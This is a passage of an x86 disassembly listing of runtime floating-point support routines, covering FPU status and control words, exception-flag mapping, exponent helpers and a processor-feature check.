loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------


loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx


loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2860000h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh


loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh


loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h


loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh


loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh


loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------


loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx


loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------


loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx


loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435FA0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs


loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_435F90
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_435FA0
		fchs


loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_435FA0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------


loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_435F90
		fchs


loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435F90
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs


loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]


loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx


loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx


loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx


loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx


loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h


loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3


loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------


loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx


loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx


loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh


loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx


loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_4CD9B4, 22h
		retn
; ---------------------------------------------------------------------------


loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_4CD9B4, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_435EB8


loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_435F90
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_435EBC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3


loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B


loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4


loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------


loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E


loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax


loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1


loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h


loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------


loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_435FB8
		fistp	[ebp+arg_0]
		wait


loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_435FB8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_435FC4
		fstp	[ebp+var_8]
		wait


loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2730C00h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
